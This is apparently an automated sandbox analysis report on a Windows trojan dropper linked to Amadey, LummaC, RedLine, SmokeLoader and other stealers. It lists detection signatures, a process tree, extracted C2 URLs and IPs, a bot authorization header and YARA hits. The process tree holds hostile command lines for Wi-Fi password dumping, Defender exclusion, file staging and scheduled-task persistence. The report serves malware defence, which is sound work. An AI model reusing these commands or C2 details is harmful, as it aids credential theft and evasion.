Edit tour

Windows Analysis Report
1CMweaqlKp.exe

Overview

General Information

Sample name:	1CMweaqlKp.exe renamed because original name is a hash value
Original sample name:	8a19d654cb37e4e51be045acaf097e74.exe
Analysis ID:	1436254
MD5:	8a19d654cb37e4e51be045acaf097e74
SHA1:	7a3a86421a806d2ba66ae84e86305847c8b1f766
SHA256:	59b3af1a244a082219116ed9b496de99236b01ae42df75bf4211ed2b7069bc4b
Tags:	32exetrojan
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, RisePro Stealer, SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

System process connects to network (likely due to code injection or exploit)

Yara detected Amadey

Yara detected Amadeys Clipper DLL

Yara detected Amadeys stealer DLL

Yara detected AntiVM3

Yara detected LummaC Stealer

Yara detected Mars stealer

Yara detected RedLine Stealer

Yara detected RisePro Stealer

Yara detected SmokeLoader

Yara detected Stealc

Yara detected UAC Bypass using CMSTP

Yara detected Vidar stealer

.NET source code contains very large array initializations

.NET source code references suspicious native API functions

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Creates HTML files with .exe extension (expired dropper behavior)

Creates a thread in another existing process (thread injection)

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Disables UAC (registry)

Found many strings related to Crypto-Wallets (likely being stolen)

Found stalling execution ending in API Sleep call

Hides threads from debuggers

Injects a PE file into a foreign processes

Installs new ROOT certificates

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

PE file contains section with special chars

Potentially malicious time measurement code found

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses process hollowing technique

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Instant Messenger accounts or passwords

Tries to steal Mail credentials (via file / registry access)

Uses netsh to modify the Windows network and firewall settings

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops certificate files (DER)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file does not import any functions

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

1CMweaqlKp.exe (PID: 2912 cmdline: "C:\Users\user\Desktop\1CMweaqlKp.exe" MD5: 8A19D654CB37E4E51BE045ACAF097E74)

explorta.exe (PID: 6676 cmdline: "C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe" MD5: 8A19D654CB37E4E51BE045ACAF097E74)

explorta.exe (PID: 8160 cmdline: "C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe" MD5: 8A19D654CB37E4E51BE045ACAF097E74)

amert.exe (PID: 7928 cmdline: "C:\Users\user\AppData\Local\Temp\1000019001\amert.exe" MD5: E67C8B3E5EC9F64052FCD2F45341CFA5)

explorha.exe (PID: 5664 cmdline: "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe" MD5: E67C8B3E5EC9F64052FCD2F45341CFA5)

rundll32.exe (PID: 4460 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 4076 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main MD5: EF3179D498793BF4234F708D3BE28633)

netsh.exe (PID: 1832 cmdline: netsh wlan show profiles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

conhost.exe (PID: 3756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 352 cmdline: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

swiiiii.exe (PID: 2588 cmdline: "C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe" MD5: 1C7D0F34BB1D85B5D2C01367CC8F62EF)

conhost.exe (PID: 8044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 5348 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

WerFault.exe (PID: 8080 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2588 -s 928 MD5: C31336C1EFC2CCB44B4326EA793040F2)

rundll32.exe (PID: 8060 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main MD5: 889B99C52A60DD49227C5E485A016679)

NewB.exe (PID: 2336 cmdline: "C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe" MD5: 0099A99F5FFB3C3AE78AF0084136FAB3)

schtasks.exe (PID: 8260 cmdline: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe" /F MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 8272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ISetup8.exe (PID: 8700 cmdline: "C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe" MD5: 85D23A7E1BF2207A3FA825136090E00D)

u6po.0.exe (PID: 8000 cmdline: "C:\Users\user\AppData\Local\Temp\u6po.0.exe" MD5: F2CE35E5AA2A7771759D7F424F2803AC)

toolspub1.exe (PID: 9168 cmdline: "C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe" MD5: A9C28724B16C3BB3AF2FDB5AA9BE277C)

jok.exe (PID: 8672 cmdline: "C:\Users\user\AppData\Local\Temp\1000071001\jok.exe" MD5: 8510BCF5BC264C70180ABE78298E4D5B)

swiiii.exe (PID: 8936 cmdline: "C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe" MD5: 586F7FECACD49ADAB650FAE36E2DB994)

conhost.exe (PID: 8944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 9008 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

file300un.exe (PID: 7556 cmdline: "C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe" MD5: 18B50C6016CD5D7FF2F01B71A5E3373B)

powershell.exe (PID: 7708 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe" -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 8748 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

d361f35322.exe (PID: 5772 cmdline: "C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe" MD5: C1BF02296C415ABC8B1F0ED13088D96D)

schtasks.exe (PID: 6180 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7724 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 8132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ac861238af.exe (PID: 6604 cmdline: "C:\Users\user\1000021002\ac861238af.exe" MD5: 34C3E84E001DB4CF23A94BE34D462F11)

chrome.exe (PID: 8052 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1028 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://%3cfnc1%3e(79)/ MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7340 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2656 --field-trial-handle=2296,i,9301016893778941798,11505312185340456869,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8840 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3696 --field-trial-handle=2296,i,9301016893778941798,11505312185340456869,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

explorta.exe (PID: 8016 cmdline: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe MD5: 8A19D654CB37E4E51BE045ACAF097E74)

explorha.exe (PID: 7400 cmdline: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe MD5: E67C8B3E5EC9F64052FCD2F45341CFA5)

MPGPH131.exe (PID: 6636 cmdline: C:\ProgramData\MPGPH131\MPGPH131.exe MD5: C1BF02296C415ABC8B1F0ED13088D96D)

MPGPH131.exe (PID: 6008 cmdline: C:\ProgramData\MPGPH131\MPGPH131.exe MD5: C1BF02296C415ABC8B1F0ED13088D96D)

d361f35322.exe (PID: 8200 cmdline: "C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe" MD5: C1BF02296C415ABC8B1F0ED13088D96D)

NewB.exe (PID: 8664 cmdline: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe MD5: 0099A99F5FFB3C3AE78AF0084136FAB3)

RageMP131.exe (PID: 8964 cmdline: "C:\Users\user\AppData\Local\RageMP131\RageMP131.exe" MD5: C1BF02296C415ABC8B1F0ED13088D96D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: LummaC

{"C2 url": ["pillowbrocccolipe.shop", "communicationgenerwo.shop", "diskretainvigorousiw.shop", "affordcharmcropwo.shop", "dismissalcylinderhostw.shop", "enthusiasimtitleow.shop", "worryfillvolcawoi.shop", "cleartotalfisherwo.shop", "affordcharmcropwo.shop"], "Build id": "LGNDR1--ketamine"}

Threatname: Vidar

{"C2 url": "http://185.172.128.150/c698e1bc8a2f5e6d.php"}

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://trad-einmyus.com/index.php", "http://tradein-myus.com/index.php", "http://trade-inmyus.com/index.php"]}

Threatname: Amadey

{"C2 url": "185.172.128.19/ghsdh39s/index.php", "Version": "4.12"}

Threatname: RedLine

{"C2 url": ["185.215.113.67:26260"], "Bot Id": "Test1234", "Authorization Header": "bed37b7c341f364ee692c5adfa824881"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\cred64[1].dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[1].dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[1].dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\NewB[1].exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\jok[1].exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 5 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000003.1721215690.00000000011E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002C.00000002.2151525456.0000000003CB5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000002C.00000002.2151525456.0000000003CB5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000027.00000000.2050930258.0000000000E51000.00000020.00000001.01000000.00000015.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000024.00000003.2840876152.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000024.00000003.2839845792.0000000007CE8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000023.00000000.2011865777.0000000000E51000.00000020.00000001.01000000.00000015.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000002.3354975509.0000000008152000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000031.00000002.2229022734.0000000003640000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000031.00000002.2229022734.0000000003640000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x624:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000003.1626992485.00000000014C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000024.00000002.3088709368.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000000B.00000003.1904362561.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.1663910421.0000000000C90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000031.00000002.2229087093.0000000003661000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000031.00000002.2229087093.0000000003661000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x224:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000007.00000002.1868102298.0000000000611000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.3082656269.0000000007D70000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000000.00000002.1663899661.0000000000731000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000003.1826787054.0000000004E00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000024.00000003.2839809905.0000000007CCF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000033.00000003.2152173443.0000000003680000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000033.00000003.2152173443.0000000003680000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000005.00000002.1732128904.0000000000701000.00000020.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000027.00000002.2069776940.0000000000E51000.00000020.00000001.01000000.00000015.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000002.1945079164.0000000000931000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000028.00000000.2051081332.00000000007C2000.00000002.00000001.01000000.00000018.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000A.00000003.1894101326.0000000005260000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000024.00000003.2840195887.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000002F.00000002.2102303995.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000002F.00000002.2102303995.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000031.00000002.2228939653.00000000034F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000031.00000002.2228816968.0000000001B2B000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x6a3c:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000024.00000003.2839878527.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000032.00000002.7140120246.000001F380020000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: d361f35322.exe PID: 5772	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: d361f35322.exe PID: 5772	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MPGPH131.exe PID: 6636	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: MPGPH131.exe PID: 6636	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 5348	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 5348	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: powershell.exe PID: 352	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: d361f35322.exe PID: 8200	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: d361f35322.exe PID: 8200	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: jok.exe PID: 8672	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: RageMP131.exe PID: 8964	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: file300un.exe PID: 7556	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 49 entries

Unpacked PEs

Source	Rule	Description	Author
47.2.RegAsm.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
47.2.RegAsm.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
47.2.RegAsm.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
47.2.RegAsm.exe.400000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
51.3.u6po.0.exe.3680000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
51.3.u6po.0.exe.3680000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
50.2.file300un.exe.1f3800d4830.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
44.2.swiiii.exe.3cb5570.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
44.2.swiiii.exe.3cb5570.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
50.2.file300un.exe.1f3800d7298.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
40.0.jok.exe.7c0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
35.0.NewB.exe.e50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
39.0.NewB.exe.e50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
44.2.swiiii.exe.3cb5570.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
11.2.explorha.exe.930000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
51.3.u6po.0.exe.3680000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
